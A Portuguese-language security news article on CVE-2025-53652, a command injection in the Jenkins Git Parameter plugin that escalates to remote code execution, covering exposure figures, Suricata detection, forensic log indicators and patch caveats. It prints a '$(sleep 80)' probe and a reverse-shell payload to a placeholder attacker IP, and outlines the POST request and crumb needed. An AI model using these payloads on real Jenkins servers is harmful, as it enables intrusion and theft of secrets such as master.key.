Jenkins divulgou CVE-2025-53652, também conhecido como SECURITY-3419, como parte de um lote de 31 vulnerabilidades de plug-ins.
Inicialmente classificada como gravidade média, essa falha afeta o plug-in Git Parameter e foi descrita apenas como permitindo que invasores injetassem valores arbitrários nos parâmetros do Git, uma descrição que subestimava seu potencial de exploração severa.
No entanto, uma análise mais profunda revela que essa vulnerabilidade de injeção de parâmetro pode ser escalada para Execução remota de código (RCE) devido ao manuseio não validado do plug-in de entradas fornecidas pelo usuário em comandos shell.
Falha de alto impacto no plug-in de parâmetro Git do Jenkins
O plug-in Git Parameter, amplamente instalado para gerenciar compilações parametrizadas, aceita valores de parâmetros arbitrários que são interpolados diretamente em comandos Git, como rev-parse e fetch.
Por exemplo, quando um trabalho de pipeline é configurado para operar em uma ramificação como “mestre”, uma compilação normal prossegue sem problemas.
Mas, ao fornecer um valor malicioso como “$(sleep 80)” como parâmetro branch, os invasores podem injetar comandos que são executados no processo de busca do Git, causando atrasos observáveis e confirmando a injeção de comandos por meio de ferramentas de monitoramento de processo como ps faux, que mostra o processo filho de sono gerado no usuário jenkins.
Essa vulnerabilidade decorre da falta de limpeza de entrada, permitindo que os invasores incorporem metacaracteres de shell que o Git interpreta como parte de seu Execução de comandos.
Para demonstrar o impacto prático, os pesquisadores criaram um exploit baseado em cachos que aciona um shell reverso: postando no /job/[buildName]/build com uma carga JSON especialmente formatada contendo “$(bash -c ‘bash &> /dev/tcp/[attacker_ip]/[port] <&1')", os invasores podem estabelecer uma conexão em execução como o usuário Jenkins.
A exploração bem-sucedida produz uma resposta 201 Created e o shell reverso, capturável via netcat, fornece acesso a arquivos confidenciais como o master.key em ~/secrets.
A exploração requer conhecimento do nome da compilação, um cookie de sessão válido e um token CSRF Jenkins-Crumb, que pode ser obtido por meio de solicitações simples, mesmo em instâncias não autenticadas.
Embora o Jenkins exija a autenticação por padrão alinhando-se com os privilégios obrigatórios do vetor CVSS: Nenhum, a classificação da falha é particularmente perigosa em configurações em que a autenticação está desativada ou o registro aberto está ativado, expondo os sistemas a RCE não autenticado.
Desafios de mitigação
De acordo com o relatório, as varreduras do FOFA indicam que mais de 100.000 servidores Jenkins voltados para a Internet exigem autenticação, com cerca de 1.000 permitindo o registro aberto, mas cerca de 15.000 parecem totalmente não autenticados, ampliando o risco de exploração generalizada, apesar da base de instalação do plug-in não ser totalmente quantificada entre eles.
Mesmo em configurações não autenticadas, os invasores ainda devem adquirir artefatos de sessão, mas essa barreira é baixa para determinadas ameaças, conforme demonstrado pela recuperação por meio de comandos curl básicos direcionados aos endpoints raiz e build.
A detecção é viável por meio do monitoramento de rede, com a regra Suricata do VulnCheck alertando sobre solicitações POST para caminhos /job/…/build contendo padrões suspeitos no corpo da solicitação, como metacaracteres de shell codificados em valores de parâmetro.
Os indicadores em disco persistem nos logs de trabalho em ~/jobs/[buildName]/builds/#/log, onde comandos injetados como “$(sleep 80)” aparecem nas saídas git rev-parse, fornecendo evidências forenses pós-exploração.
Embora o Jenkins sinalize plug-ins desatualizados para atualizações, o patch para CVE-2025-53652 inclui um sinalizador configurável (-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true) que desativa a validação, potencialmente deixando os sistemas vulneráveis mesmo após as atualizações.
Isso ressalta a necessidade de auditorias completas pós-atualização. Em conclusão, o que começou como uma injeção de parâmetro aparentemente de baixo impacto provou ser um vetor de injeção de comando crítico, aproveitando a versatilidade do Git como um goawayBin para RCE.
Embora não se espere que haja exploração em massa, ele apresenta riscos significativos em ataques direcionados ou cenários de movimento lateral, pedindo aos administradores que priorizem a aplicação de patches, habilitem a autenticação e monitorem os indicadores de comprometimento.
Ache esta notícia interessante! Siga-nos noGoogle Notícias,LinkedIneXpara entrarAtualizações tant!